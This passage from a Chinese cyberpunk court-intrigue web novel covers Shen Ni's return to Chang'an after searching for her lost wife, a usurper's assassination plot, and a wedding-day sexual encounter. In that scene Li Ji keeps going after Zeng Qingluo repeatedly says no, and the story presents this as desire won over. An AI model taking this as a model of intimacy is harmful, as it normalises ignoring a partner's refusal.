站在千山万仞间,沈逆的一句安慰话催下边烬此生唯一的眼泪,激荡了沈逆的余生。
冷泪刻骨,玉面镂心。
边烬的一切都锲在沈逆的一呼一吸间。
在半睡半醒间,沈逆难过地明白了,她为何不带自己走。
不是她食言,不是她狠心。
因为,她走的是条绝路。
……
李司好不容易找到沈逆的时候,沈逆已经再次陷入昏迷,且有些失温的症状,伤口的血把衣衫染得通红。
冷雨越下越大,李司出来时穿得也不多,脱了外衫先给祖宗罩上。
李司喊她,又晃晃她身子,人就是醒不过来,只能把她抱了起来,艰难地从乱体之丘往下走。
刚发现这处的时候李司就很纳闷,这片山一般的乱体是怎么形成的?如同一座堆放废弃义体的巨型垃圾场。
李司把沈逆抱入马车内,又去扫描了些乱体山丘的资料,犹豫着要不要捡一根乱体回去研究,最后还是作罢。毕竟会担心这看似毫无生命痕迹的乱体会复活。长安城现下好不容易安全了些,她可不想再弄些隐患回去。
而且,沈逆会寻到此处,这一大片的乱体应该与边烬有些关系,沈逆可能心里有数。
和边烬有关……
李司无法不脑补。
难道这些乱体是边烬吸收了整座城池的黑魔方之后拧出来的么?
……这么多?
李司头皮有些发麻,无法想象边烬经历了什么。
更无法想象此刻沈逆的心情。
设身处地地一想,李司心里酸酸的。
人已经找到了,打算立刻回程,可沈逆那架飞艇怎么办?
就算马车放得下,李司的便携式机械臂也搬不动。
试着点开飞艇中控,幸好,沈逆根本就没锁车,李司直接点了归航,让飞艇自个儿回侯府。
回到马车里,李司一边搓着手开启暖气,一边想给窦璇玑传信报平安。
结果,城外野道根本没信号。
李司“啧”一声,驾着马车往长安城的方向回。
两个时辰一过她就进不了城了,得快,只是这野道实在难辨方向。
自黑魔方肆虐,人口愈发往各大城池集中,越繁华的城池越有精兵把守,探测、歼灭黑魔方的方法也更多,更快速,百姓便更有机会活得久一点。
城池之外的野地便渐渐荒芜,变成野兽和异兽的游乐场。
即便是S级的高天赋者,想要在凶险的野地生活也不是件容易事。
为了方便交通,各大城池之间修有隧道、地轨和空轨。
官道相对更为安全,而官道之外的地方要走也行,还是那句话,没有网络没有地图,凶兽出没,无人可依,险恶非常。
李司的马车没有野道的巡航系统,也没有自动驾驶,只能自己手动操控,艰难找路。
李司算着时辰,应该能在规定的时间内返程,就是全程得紧巴巴的,不能迷路。
弄得她有点紧张。
要是真没按时回去,最高研发署那帮人可不会好心等她。
车辙在荒无人烟的土路上划上两道细长的痕迹。
李司的马车其实很稳,但野地无道很不好走,时不时车身倾斜,有些颠簸。
就在李司集中精力驾驶时,听见身后传来一句让她毛骨悚然的话:
“后面有东西跟着。”
沈逆不知何时醒了,脸色苍白地捂着心口。
李司往后视镜看了半天,“没东西啊,你别吓我!”
沈逆声音极小,随时都会被风吹走似的。
“没吓你,跟了咱们一路了。”
沈逆抹了一把脸,纳闷问道:“你车怎么不安个顶棚?”
李司懒得跟她解释敞篷车有多潇洒,“怎么可能有人跟着,你知道现在出个城得多少道手续吗?”
“不知。”
李司:……
可真后悔,跟她说这个干嘛,她出个城可不和出自家门一样畅通无阻么?
沈逆又道:“为什么就一定是从城里出来的呢?”
被这么一提醒,李司“嘶”了一声。
“那不更可怕么?城外能有什么,不是异兽就是盗贼!”
“李司将军变聪明了,都会自问自答了。”
李司:?
半死不活的臭狐狸是不是把所有精力都留给那张缺德嘴了?
沈逆躺在那儿观察马车内部,脚往左侧一踢,武器柜开启。
沈逆拎出一把枪。
李司:“……你轻点踢!”
“你这豪华敞篷马车还能给我这半死不活的人一脚踢散架了?”
李司:……
沈逆掂了掂枪,艰难地坐起来,她转过身子瞄向马车后伸手不见五指,最为原始的黑暗。
正好心情不好,看看谁来撞枪口。
第132章
“别开枪,别开枪——”
黑暗中突然冲出一辆马车。
这辆马车拉着一个巨大的货仓,这种货仓一般是各大商号运货所用。
李司没停下马车,沈逆的枪口也没放,警觉地盯着对方。
马车小心翼翼地并上来,驾车的是个年轻男人,下巴和一颗眼珠是义体,穿着小厮惯常穿的青色短打,外面披着潦草的蓑衣。
与他同乘的另一位中年男子胡子修得整整齐齐,穿着防寒的裘衣,头戴幞头,拱手行礼,喊话的正是他。
“二位贵人,实在抱歉,吾等是阑游镇的贩卖材料的商人,想要前往长安送货。可谁知走到半道长安城的信号忽然切断了,没有城内信号指引,这荒郊野岭实在不好寻路,我们已经迷路一个多时辰了。不知二位是否是前往长安?能不能带带我们?等我们顺利抵达长安城,定会好好孝敬二位贵人。”
李司暼那男人一眼,不太相信他们是迷途的商人。
这世道,长安城里都一堆骗子,更别说忽然从野道上蹿出一辆马车了。
正思考如何拒绝能顺理成章,谁知车厢内的沈逆二话不说,直接一枪崩过去。
那中年男人“哎哟”一声,急忙抱头矮身,子弹冲着他身后的年轻男人的脸上就去,年轻男人反应极快,抬手抵挡。
火光在漆黑的雨夜里格外醒目,子弹被年轻的男人坚硬无比的义体掀飞,射穿了他们马车的顶棚。
李司骂了一句“老贼敢骗你奶奶”,单手拎起手炮就轰。
那两人立刻跃下马车,滚进比人还高的杂草丛里,马车失控一头撞在大树上,当场撞毁。
沈逆双手握枪一刻不停,子弹追进草丛里继续打。
她的随身能量池本就忙忘了储备能量,刚才挖乱体的时候机械臂已经将剩余的能量耗尽,不然她肯定连着三发电磁炮伺候进去,这点野草和两个毛贼转眼就能烧得一干二净。
左.轮枪打起来不过瘾,子弹一气儿打完,沈逆把李司的加特林拖出来。没力气,根本扛不起这沉甸甸的大家伙,这时候敞篷马车的方便就显现出来了。沈逆把加特林架在车架上,对着草丛中一阵狂喷。
哒哒哒——
哒哒哒——
加特林凶猛的轰击声响彻荒野雨夜。
直到把李司车上的子弹全部喷完,沈逆才双臂发颤地倒回去。
草丛内再无动静,她们的马车平安地行驶了一段路后,沈逆道:“没再跟了。”
李司:“……你就这样二话不说打过去,不怕误伤无辜?”
“事实证明,我没误伤。”沈逆捂着心口,缓了口气才道,“荒郊野岭哪来的商队,一介商人敢两人驾车奔在野道上,居然还毫发无伤?演也不演得像一点。看到那空手挡子弹的厉害了吗?义体得是个A级顶格的义体。再者,若真想向咱们问路,为什么不光明正大现身?待我用枪指了才出现。猥猥琐琐,必不安好心。”
李司心道,理是这么个理,但有没有可能是因你悒悒不乐,这帮蠢贼正好冒出来给你撒气?
这话李司在心里过了一遍,没敢说,也没时间多想,本来时间就紧,又被这突然出现的毛贼搅乱了思绪,李司得重新辨别方位。
冷汗和雨水混在一起,蒙着李司的额头。
时间更紧迫了。
沈逆:“我睡一会儿,回城了劳烦将军叫我一声。”
李司:?
我生死狂飙,你美美睡觉?
可现在沈逆是打也不得骂也不得,明明我见犹怜,偏偏还在逞强。
沈逆不当人,李司也没辙,只能继续埋头赶车。
草丛中,年轻男人被打坏了一条腿,中年男人手指少了两根,痛得龇牙咧嘴,难以理解,伏在暗处不敢动。
中年男人骂道:“不是说机械师吗!我还是第一次看到二话不说直接开枪的机械师!这暴躁脾气真的没沾点战斗天赋?”
年轻男人捂着腿,咬牙道:“叔叔还是先想想咱们下一步该怎么办吧。拿不下靖安侯,李褚肯定不认,咱们都没法进城。”
中年男人狠叹了一声,真是错过最佳时机。
这二人是兰陵的盗匪,常年扮成商人,袭击过往行人。
李褚被李渃元流放至兰陵后,心有不甘,满腹牢骚,总想着反扑。
为此他结交了不少当地贼王流寇,甚至连兰陵的深牢大狱里面最臭名昭著的死囚都被他用特殊手段召至麾下。
兰陵那穷山恶水,被划入李褚的封地之后,更险恶了几分。
而含华殿大战,帝星陨落,长安城从一片生灵涂炭转眼成了最安全的净土,而长安城外的整片大陆依旧饱受人形异兽的摧残。
此事已经在万维网上疯狂热议,无数人都想挤入这片净土。
但长安城已经进入静默模式,除非官方特许,谁也不可能进去。
此刻,长安城内掌控话语权之人,便成了城外人的一线生机。
中年男人一边去调取李褚的联络方式,一边“哎”了声:“那靖安侯脾气也太大了,根本不给人说话的机会,不然投奔她说不定还有进城的希望。”
他们想的没错,没抓到沈逆,李褚不仅不可能带他们进城,还将他们骂了个狗血淋头。
“废物,两个A级战斗天赋,连个受伤的机械师都抓不住!”
李褚切断通话,一屁股坐到软榻上。
“都是些废物,这么好的机会都浪费了!”
李褚猛喝了几口酒,压了压烦躁的情绪。
登录万维网,四下翻开,渐渐露出了一点笑意。
含华殿事变是当下整片大陆最热的话题。
所有人都想知道李渃元是怎么死的,那个浑身乱体的成年女子究竟和她是什么关系。
含华殿内到底发生了什么事。
李褚门下幕僚第一时间占据了各大热门,将边烬塑造成弑君的狂徒,在弑君之时被黑魔方吞噬,之后仓惶逃亡,如今已死在郊野。
原本他想要连带着把沈逆一同拖下水。
毕竟当初二人成婚是沈逆求的,婚后恩爱也是众所周知,边烬本来都残废了还能被她修好,谁知道她俩是不是谋划好了犯上作乱,弑君夺位。
李褚的幕僚到处散播关于沈逆夫人谣言,但很快被人识破。
毕竟沈逆是被边烬所伤,当时在含华殿内所有人都看到了,边烬那句“我一直以来都是在利用她罢了”也都入了大家的耳。
此事早就在万维网上掀起一波讨论,同情沈逆者无数,都恨边烬太狠心,连深爱自己的妻子都能辜负。
于是,想要陷害沈逆的话题下面一片谩骂。
更将城防拿出来立证沈逆的清白。
若不是沈逆一心推进城防,如今长安城哪有可能坐享太平?
甚至有人开始挖关于边烬的谣言。
怀疑边烬弑君的可能性。
说不定含华殿事变就是边烬的谋划,带走长安城内所有的黑魔方病毒,她才是为长安城保驾护航的最大的功臣。
至于含华殿那被感染的女人究竟为何人,天子到底怎么死的,尸首在何处,无人敢议。
李褚急着想扳倒沈逆,恨这背后有人在和他作对。
幕僚们都劝他稍安勿躁,否则可能连边烬的舆论都会反转。
李褚怎么能不急?
如今整片大陆,只有沈逆一个双S级天赋者,还手握着城防大权,掌握无数人生死,最高天赋,才华横溢,还一片痴心纯情被辜负……沈逆在她本人毫不知情也丝毫不在意的情况下,被无数网民垂怜,威望大增。
沈逆的名声渐隆,已经让李褚万分不安,而皇位空缺,眼下新帝人选更是搅动了整个朝野。
七王之中以安王李极的呼声最盛,这自不必说,向知番与李极已然为今日筹备数年。
传说中已经被李渃元钦点的继位者楚王李沐也有一众老臣支持,只是她在含华殿事变后卧床不起,身体状况一落千丈,有人怀疑她也曾感染黑魔方病毒,只是暂无证据。
永王李煽的名望一直是七王之首,还深度参与了城防工事,也有一拨人趁机站到她身边,想抬她上位,在李渃元死后,她第一次得到了朝臣的支持。
其他的诸王各有拥趸,就连那洛阳郡王之女,带着金吾卫杀入含华殿救下一众皇亲国戚的李司都有人觉得她功德兼隆,可堪大任。
除了李褚自己造势之外,竟无人提及他!
李褚心里万分不痛快。
在这次来京时,李褚在城内外都做好了安排。
他自兰陵监狱里寻到的那位传说中的最顶级的赏金猎人,让医师为其换了张脸,带入城中,一直跟随左右,以防李渃元对他下手。城外也部署了接应。
如今李渃元已死,他的部署得改变了。
李褚看向坐在他对面的男人,据说此人拥有两种S级天赋,只是这男人沉默寡言,看上去瘦弱不堪,完全想象不到当年李渃元悬赏他百万黄金。
李褚对他道:“不过是个机械师,还受了重伤,你若是能将她带回来,剩下的六十年牢狱之灾本王承诺,一笔勾销。”
男人声音很低,很缓。
“我不擅长抓人,我只擅长杀人。”
李褚被他身上莫名的煞气弄得心里紧了紧。
控制沈逆,让她推举自己登基,这是最好不过的结果。
但李褚也明白,沈逆不可能答应。
若是不答应,也好办,沈逆是绝对不可能支持他登基的。
那么,便杀了以绝后患。
边烬已死,没人能再护着沈逆了。
绝对不能错过此等良机,否则,他又要回兰陵了。
李褚道:“行,那就按照你最擅长的方式来办!”.
长安城南城门。
最高研发署监督队五人的电子表同时响起。
约定的时辰已到,李司没有回来。
城门本来就是关闭的,他们只要一走,只有出城权限的李司就进不来了。
他们一言不发就要离开,曾倾洛挡在他们面前。
“请再等一下,她们马上就回来了。”
监督队的人道:“之前已经说过,只等两个时辰,过时不候。”
曾倾洛道:“城外情形复杂,肯定是遇到事情耽误了。烦请诸位再等一……”
监督队的人打断她的话,“你也说了城外情形复杂,到处都是异兽,她是出去送死,现在或许已经死在外面了。我们可没工夫等个死人!”
话音未落,只觉得脖颈边传来一阵麻酥酥的痛感。
窦璇玑的电刃已经架上他的脖子。
监督队其余众人立即亮出武器,窦璇玑知道手中这人全程发话决策,定是为首的小队长,挟持他便最有分量。
窦璇玑瞥一眼曾倾洛,“和他们废什么话,敢走,就宰了他!”
曾倾洛和监督队众人都被窦璇玑的气势惊着了。
不愧是丽景门的人,够狠。
那小队长骨头却硬,脑袋都要不保了还敢喊话。
“你们四个人害怕她们两人么!给我拿下!”
监督队四人眼神立刻尖了起来。
箭在弦上,双方一触即战时,一辆马车停在不远处。
未见其人,先听到一阵咳嗽。
那是永王座驾。
马车门开,一架轮椅自马车内降下,李煽坐在轮椅上,整个人形销骨立,瘦了一大圈,乍看之下甚至没认出她来,和当初那个喜欢斗花爱美的精致美人大相径庭。
侍从推着李煽行至众人面前,李煽一阵咳嗽后开口,声音也沙哑粗糙。
“你们等不住,本王来等。”
最高研发署督察队正是李煽下属,听她这么说便明白她的意思,全都偃旗息鼓了。
窦璇玑放开了小队长,收起电刃,和曾倾洛一块儿站在门前,一边继续试着和李司沈逆联系,一边试图倾听城外的动静。
李煽连站都站不起来,人却未走,一心等着沈逆回城。
她的下属们就在她身侧候着。
长安城开启了静默模式,上有穹顶,寒雨被隔绝在外,但为了节省能源,城中未开启暖风。
此刻所有人都感受到了寒意,而李煽病骨支离,咳喘不止,无论侍从怎么劝都不愿回去。
李煽虚弱道:“我等着她,看她入城。”
无人再敢多言。
一刻钟后。
门外传来敲击声和呐喊声。
窦璇玑眼睛一亮,是李司的声音。
李煽:“开门。”
监督队把门打开,李司的马车冲入城中,曾倾洛和窦璇玑立即上前。
李煽还坐在原地,听见曾倾洛急切地喊“小师姐”,提着的心终于落回原处。
李司的马车缓缓驶来,车上的沈逆和李煽目光交错。
被雨水浸透的沈逆依旧不显狼狈,那双眼还是和李煽初见时一样,笃定、通透又冷漠。
可沈逆也被这场变故折磨得憔悴、苍白,双眼红肿不堪,像被秋风摧折的残花。
李煽心中隐隐发痛,忍不住道:“边烬死了,你该顾好自己。”
长安城周边的夜路都有最高研发署部署的无人机日夜巡查。
边烬的去向,李煽一直在跟踪。
沈逆在乱体山丘不停地寻找边烬,喊着边烬的场景,她都看到了。
沈逆漫不经心地收回目光,淡然却坚定,像在说一件再普通不过的事:
“她不会死。”
李煽咳嗽了几声,再道:“那乱体就是她被黑魔方拧成的尸体,你心里明白的。”
沈逆竟笑了。
神仪妩媚娇妍,让李煽一瞬失神。
“我会去找她。”
沈逆目光看向穹顶的星光,贪恋又痴迷。
“我会找到她。”
第133章
沈逆说要去找边烬,这话在曾倾洛等人听来,像是不祥的危险讯号。
李煽说“边烬已死”说得极其笃定,曾倾洛她们都听到了。
情感上不愿相信,但那日含华殿激战程度她们都看在眼里,沈逆出城找了这么一圈都没找到,恐怕真是凶多吉少。
怕沈逆轻生,带她回府重新缝合伤口之后,曾倾洛直接在她寝屋里打地铺,打算寸步不离看着她。
沈逆不太习惯,跟她说真没事儿。
曾倾洛难得硬气一回,无论沈逆怎么说,她都用那双忧心忡忡的大眼睛凝视着沈逆。
“小师姐,无论你说什么我都不会走的。你要烦就骂骂我,打打我也行,反正我是不会走的。”
沈逆胸口痛得很,走一步歇三回,哪有精力骂她打她,也不舍得。
曾倾洛寸步不离,本以为沈逆会郁郁寡欢,会失眠失语不进食。
没想到,沈逆一改先前动不动在工作室熬夜的坏习惯,生活反而变得规律起来。
三餐按时吃,觉也准点睡,比曾倾洛的作息都健康,正常到不正常。
话是很少的,但她在和边烬重逢前就这样,时常陷入自己的世界里,不言不语,只有旁人主动来和她搭话才会说上一两句。
反常的只有刚回来的那日。
缝好了伤口她也不休息,满屋翻箱倒柜,问她要找什么也不说,就是摇头。
翻完了寝屋一路翻到前厅。
曾倾洛、万姑姑以及最近就在侯府住下的李司与窦璇玑都跟在她身后,生怕她磕着碰着。
沈逆拖着病体把府中翻了个底朝天,估计是没找着想要的东西,最后失魂落魄地把自己团成一小团,缩在萧瑟的花园中,躺在她和边烬这场姻缘的尸骸上。
没有。
哪儿都没有。
她没能找到任何边烬留下的只字片语。
当初她专门为边烬打造的花园,也因为边烬的离去凋零衰败。
边烬的气息,正在一点点地从她生命中消失。
在昏昏沉沉间,不知怎么回到了寝屋,短暂地在痛楚中醒来,看着空荡荡的身侧,沈逆还是习惯性地留出边烬的位置。
万维网上那些崇拜和支持,沈逆瞥过一眼。
城防开启后,作为城防总监事,她的信箱里塞满了各路人马汹涌而至的慰问,都想借着探病来到她面前露露脸,攀攀交情。
她如今的地位,已然比当初刚刚从北境回来时的“京师第一红人”更上一层楼,已经彻底成为掌握京师命脉和无数百姓生死的第一权臣。
无数人都在巴望着她在诸王的夺位之战中开口,那她支持的皇室宗亲便极有可能登极。
沈逆冷眼看着这些边烬留给她的“财富”。
以刘吉的魔种为切入口,冒了些极小的风险,一手推动沈逆顺利成为城防总监事,临走时狠绝的话和一招贯身,更是成全了沈逆的盛名。
甚至连当初李渃元从她身上剥走,安到李煽头上的城防功绩,都被万维网网民拨乱反正。
边烬染了满身污秽,带走了最恐怖的病毒,却把名节、德望和安全,全数留给了沈逆。
计划得真周全啊,师姐。
连谎言都这般迷人。
笑刚起,眼泪跟随着微笑的弧度滑落,之后便是一阵昏天黑地的咳嗽。
这些日子她时常精力不济,不知何时便陷入睡梦中。
梦里,她本和边烬牵手走在闹市,忽然手中空了。
一张张模糊的脸庞将她们挡在浑浊尘世的首尾,仿佛预示着某种已经写在命途上的金科玉律——她俩终究无缘。
沈逆拼命往前挤,人群就像与她作对,又像是带着奸笑的魔种、异兽,硬生生地挡着她,不让她靠近边烬。
而边烬在茫茫人海中始终未回首。
沈逆用力推搡,抽出戒棍四下砍杀,可无论她怎么推怎么杀,都无法靠近边烬。
有个模糊的声音在告诉她,这是她的命,她和边烬的命。
沈逆问,你是谁?
那人道,我是命运。
沈逆说,你先出来见见我,让我看看我的命运长得什么模样。
直到她醒来,所谓的命运也没有露面。
真可笑,沈逆心想,面都不敢露,藏在黑暗中指手画脚的,也妄想让我听你的话。
边烬留下的伤没让沈逆有性命之忧,不过显然给她身体造成了一定的麻烦,她很长一段时日里都处于一种行不胜衣的状态。
没留话,全藏在行动中。
边烬不想沈逆去找她。
沈逆偏偏要去。
半睡半醒间,有人在顺她的后背,在喂她喝药,她全都不拒绝。
之后的一段时日,沈逆坚持吃饭,再恶心都得吃。
能走几步就走几步,半点不颓靡。
她要快点好起来,她在逼着自己康复。
康复之后去找边烬。
天涯海角碧落黄泉,她都要站到边烬面前,爱或利用,都要让边烬看着她的眼睛,亲口告诉她.
曾倾洛在侯府照顾沈逆的同时,收到了李极大婚的请柬。
曾倾洛第一反应是不去。
可是,最近她传给第五阙的信,第五阙全都没回,甚至去帝国客栈找过她也寻不到人影,连贺兰濯都消失了。
不知道她们发生了何事,担心第五阙的安危,曾倾洛还是决定悄悄去一趟李极大婚现场。
沈逆的身体状况肯定是出不了门的,曾倾洛打算自己去。
只要找到第五阙就行,她要当面问问第五阙的想法,若第五阙真是被胁迫,她也好从中帮忙。
李渃元驾崩,已然威胁不到李极。
李极作为最有登帝势头的藩王,如今又与四大家族中最如日中天的第五氏嫡女联姻,婚宴在长安城中大办特办,就在东市,就在在京师腹地,邀请王侯贵胄文武百官见证这场大婚。
婚宴由向知番和蔺咏铭亲自操办,为的就是彰显睦州集团的实力。
让那些还在犹豫不决者尽早弃暗投明,投入他向知番的麾下。
曾倾洛戴着面罩来到婚宴内,吃了一惊,可真是高官云集。
会参加李极婚宴者,已经是在明面上站队安王。
李极登基,看上去已经是大势所趋。
曾倾洛端了一杯酒在人群中穿梭,暗暗寻找着第五氏的身影。
人群中,她看到一位姑姑带着侍女进入一间有武卫把守的屋子,手中还捧着礼裙。
曾倾洛悄然靠近屋子,先在周围观察,等待她们出来后,在无人的后窗处轻盈地跃上阳台,在外轻敲。
断的义腿她已经自己修过了,很多进阶功能暂时不能用,但她不想打扰小师姐养伤,现下也不耽误使用,甚至还能完成一些初级的潜行动作。
敲窗之后,曾倾洛暂时躲到一旁,她不确定是不是第五阙的屋子。
屋内安静了片刻,一阵脚步声传来,海棠花纹的琉璃窗从中推开。
曾倾洛从琉璃窗的影子里看得不真切,稍微探出脑袋,却被一只白皙如玉的手蛮横地拽住,直接拖进屋内。
面罩脱落,曾倾洛本能地反抗,拽她的人出乎意料的好控制,双双摔跌在屋内柔软的地毯上时,曾倾洛已经将“袭击”她的人摁在身下。
被摁的人却愉悦地笑出声,曾倾洛一看,是李极。
李极眼中含情,长臂勾上她的脖子。
“终究是来了,你还是舍不得我。”
“我找错人了。”
曾倾洛挺起身就要走。
李极哪肯放她离开,再次将她缠倒,翻身压着她。
“那你要找谁?找我那未过门的妻子?好大的胆子。”
李极一边说,一边咬上曾倾洛的脖子。
曾倾洛被她咬得后脊背发麻,蹿着难忍的电流。
“你在胡言乱语什么……”
“哦,说错了,抱歉。原来你是想来当我的妻子。”
曾倾洛被她这放浪的言语弄得面红耳赤,与此同时竟发现身上人在抽她的腰带。
“李……”
李极没给她说话的机会,扣着她的脸便吻。
曾倾洛哪里能想到这疯子竟在大婚之日,在一众贵宾看不到的房间里,与别的女人亲热。
李极的身子极烫极软,贴在曾倾洛单薄的身躯上,几乎要将她融化。
曾倾洛低吟了几声“不”,都被更汹涌的吻吞没。
李极似乎明白了曾倾洛不舍得伤自己的心态,曾倾洛稍微反抗她就说腰侧的伤还未好,就喊疼,眼睛说红就红,眼泪想掉就掉。
曾倾洛被她缠得实在没辙,本来一点做那种事的心情都没有,竟被她吻出了感觉。
“上回腿伤了,到现在还没修好吗?”
李极扣着她的腰,吻弄着她的义体和原身连接处。
难以形容的酥麻感让曾倾洛咬住唇,眼眸里沁着一层水雾,不知是想阻止李极进一步危险的举动还是在回答她的问题,昏昏沉沉间摇了摇头。
和第一次被李极吻连接处的感觉不太相同。
有种微妙的颠倒感。
若是说第一次全程是曾倾洛更为心动的话,这次,则是李极在想方设法地讨好曾倾洛。
曾倾洛忽然被一阵柔软的热意包裹,低低地漏出了声音,整个人往上挣,想逃。
李极扣着她将她拉回来,继续。
曾倾洛压着李极的脑袋,失控地喘息,想将她剥下去。
李极笑着道:“这儿都告诉我了,明明很想我。”
曾倾洛口中骂着“无耻”,却被那奇异的软热弄得骂声像调情。
也是完全没想到李极这样高傲的金枝玉叶,会为她做到这地步。
这份陌生和意外加深了难言的滋味,曾倾洛一开始的推拒变成无助地揉入她的发丝间。
唇色更红。
……
被抱到沙发上,坐在李极的腿上,曾倾洛的下巴被抱着她的人抬起,脖子上斑斑驳驳,衣衫挂在腰间,发颤的脚尖点不到地。
李极正在准备再送去一次,忽然一阵敲门声。
“殿下,吉时将到。”
是侍女的声音。
伏在李极肩头的曾倾洛浑身发紧,绞住李极。
李极托着曾倾洛的臀,不仅没停,反而更卖力,刻意想弄出些声响。
“殿下?”
没得到回应,屋外人又唤了一句。
“没空。”李极抛出一句。
屋外人尴尬又费解地噤声,也没走,还在门外。
这个疯子……
燥热的空气中,曾倾洛咬着唇硬忍着声,眼泪不停地落,像受不住、逃不了,也像恨极了戏弄她的人。
第134章
门口的侍从无所适从,在安静了片刻后终于走了。
或许她回去找蔺咏铭或者向知番,但管她呢。
李极现下快活得很。
李极那身耗费千两白银纯手工制作的婚服,被曾倾洛弄得满是水痕,褶皱不堪,一片狼藉。
曾倾洛见她裙摆的模样,双眼像被灼了一下,羞耻难当,立即移开目光。
李极把裙摆脱了,就穿一件连身的束腰,眷恋地亲她的下巴,环住她的腰肢不让她走。漂亮的桃花眼里尽是委屈,可那委屈间又蒙着一层亮晶晶的开心。
回味着方才亲热时曾倾洛在沉默中强烈的反应,李极粉唇微噘,笑意温软欢喜。
“还说不是来找我的?”
曾倾洛本想再次强调自己是来找第五阙的,只不过走错了窗。
但在开口之前,她发现了李极眼眸里的红血丝。
李极抹着浓妆,但憔悴的神态还是自双眸明明白白地告诉了眼前人。
方才完全没发现,这准备大婚的房间里有很多被撕碎的纸,以及被砸烂的相框。
曾倾洛看到了那副她曾经亲手写下一个“曾”字的画。
浓黑里的彩光,被李极撕得粉碎。
充满灵性的画作被撕毁,曾倾洛有些痛惜,问李极:
“为何要这么做?”
“我当真以为你那般狠心,不会来找我了。”
曾倾洛梗了一下,没能接话。
在曾倾洛满心都放在陪伴沈逆,完全没有想起李极时,李极在一次次的试装、排演大婚程序间,恼怒又痴盼着曾倾洛的到来。
来杀她这祸国殃民的妖女,来阻止这场闹剧般的联姻。
再异想天开些,若是曾倾洛来抢亲,只要一句话,她就准备不顾一切挣脱樊笼。
每一次身后靠近的脚步都让她心跳加速,可每次回眸,看到的都不是她想见的人。
从期望到失望,从失望到怨气横生,又从怨气横生到无能为力。
今日就是大婚,从昨夜起李极就一直没睡,睁眼看着紧闭的窗。
没人来。
她不会来了。
这一夜让她想起阿娘还在世时的那年,她也是这样等着阿仿出现。
阿娘说:“我中的毒就是阿仿投的。你将她当做挚友,她不过在利用你。”
李极不信,她去找阿仿,阿仿不在家她便给阿仿留了纸条,也给阿仿飞了无数封信。
日日夜夜地等待,可先前对她极致热情有求必应的阿仿,在她最需要的时候忽然杳无音信了。
阿娘觉得她单纯到可笑。
阿娘躺在病榻上,她跪在床前,听着阿娘用虚弱的声音一字字地敲打她。
“人心如鬼蜮,最蠢的事便是交付真心。真心在旁人看来不过是可以践踏的阶梯,标着价的筹码。而你,更是如此。如果你只是一介贱民,那你犯蠢只会害死你一人。但你贵为安王,是我的独女,你的愚蠢会连累我,连累上千幕僚,千百万为我而战的将士。
“我为你起名为‘寂’,便是要你空欲无念,孤寂终身。唯有收心敛欲,才不会授人以柄。在我死去之后,你才有可能完成我未竟之事。否则,你如何对得起我这番苦心,对得起我的生养之恩?”
……
后来还是见到了阿仿,只不过是被向知番抓回来的。
李极见阿仿被上着刑枷,浑身是伤,眼睛都少了一只,神情却没半点动容和害怕。
李极走到阿仿面前凝视着她,久久无语。
阿仿没看眼前沉默的少女,冷笑道:“老阉竖,这就是你最后审问的招数了么?”
向知番站在裴贵妃身侧没说话。
当时裴贵妃剧毒入脑,每日只能清醒一个时辰。
她倒是有些佩服这位长安来的细作,年纪就比自家女儿大一岁,已经能堪大任。
反观女儿,双眼通红,欲言先垂泪,教人厌烦。
白皙无暇又洁净的握住阿仿满是血痕和污迹的手。
阿仿被李极的掌心烫了一下。
眼泪如珠,颗颗滚落。李极问她:
“你真的喜欢我的字画吗?”
从李极很小的时候就时常会听到周围的人议论,说她与她阿娘长得如何如何相似,只是无论讨人喜欢的性情还是掌握人心的手段,都和她阿娘相去甚远。
但唯有一样她比阿娘出色,便是在艺术上极有天赋。
李极自小就喜欢在房间里写写画画,写出的字糊了名和各大书法大师挂在一起,没人觉得违和,甚至有人还觉得她的作品略胜一筹。
画画更不必说,寥寥数笔,山水植物,鱼鸟花草跃然纸上。
她喜欢写字画画,那是让她最快乐和放松的事儿。
可阿娘说这些没用。
写字好看能争皇帝吗?画得漂亮能养百万兵马吗?
李极那时年幼,只觉得自己做错了,不该喜欢这些,努力将心思放在阿娘认可的事情上。
在京师时她去国子监读书,到了睦州阿娘为她寻了一处最严格的私塾。
李极不想阿娘失望,即便丝毫不感兴趣,她也硬是逼着自己埋头读那些晦涩难懂的史书,治国之道。
但她最喜欢的还是字画,读书熬至再晚,她都会抽一点时间偷偷拿出纸笔,享受最让自己愉悦的一刻。
她知道阿娘不喜这些,所以她从来都是悄悄写悄悄画。
可满意的字画无人欣赏,终究是寂寞的。
直到阿仿的出现。
阿仿是她在私塾中认识的。阿仿喜欢她的作品,李极每次有新的创作,都会兴致勃勃地拿给阿仿看。
阿仿还和她喜欢同一位书法大师,也总是能耐心地解读她画中意。
阿仿的喜欢,是孤单灰暗的生活中最让她眷恋的色彩。
可是……
眼前的阿仿咧嘴笑了,干裂的嘴唇往上扬,抽回手,用看傻子的眼神看她。
“事到如今你还不懂?我不喜欢你的字也烦透了你那些乱涂的画!我接近你只是想杀了你阿娘,完成我的任务。蠢货。裴贵妃有你这样的女儿,何愁不倒台?”
阿仿的嘲笑和尖酸的话像根针,扎进李极的心里,没了针头,找不到,拔不出,一旦动弹便能感受到藏在血肉里尖锐的疼痛。
之后没多久阿娘就死了,向知番继承她的遗志,誓要重回长安,与此同时改变了策略。
他开始鼓励李极重拾字画的创作,以“裴寂”的身份在万维网上活跃,提升名气,吸引支持者。
说白了就是一场轰轰烈烈的“造神”运动。
那时的李极已经没那么喜欢写字画画了,字随便写写,画就只当做宣泄情绪,抹上大片的色彩,管谁喜欢还是讨厌。
向知番想要造神,想要她登基当皇帝,也没什么不好。
当了皇帝之后,她会让向知番和他那个老姘头,以及裴贵妃引以为傲的上千幕僚全部死无葬身之地。
所以她才会来长安,才会一直周旋在各种势力之间。
她以为自己已经找到了方向,可是,这场大婚让她看清了自己的处境。
尽管这些年她一直都在暗地里培植自己的部下,可与向知番几十年的积累相比,依旧脆弱不堪。
若是她当了天子,也还是个被人操控的傀儡天子。
裴寂,空欲无念,孤寂终身。
也不知是阿娘对她的希冀,还是诅咒。
她不喜欢这个名字。
直到遇到曾倾洛。
在和曾倾洛起伏激荡的纠葛中,李极又一次感受到了麻木的心重新开始跳动。
她从腐烂的泥沼中又挖出了一二真心,捧在手中,想给曾倾洛,又怕被曾倾洛嫌弃,更怕被她千刀万剐。
一面渴望,一面害怕。
在焦躁等待的这一夜,终究无人敲响窗户的这一夜,李极仿佛又听到了阿仿的嘲笑。
蠢货。
李极狠心撕掉了曾倾洛署名的那幅画。
画撕了干净,人却来了。
曾倾洛背对着李极,默默将碎纸拾起。
“忘了我们之间的荒唐事也好。”
“谁要忘,反正我不忘。”
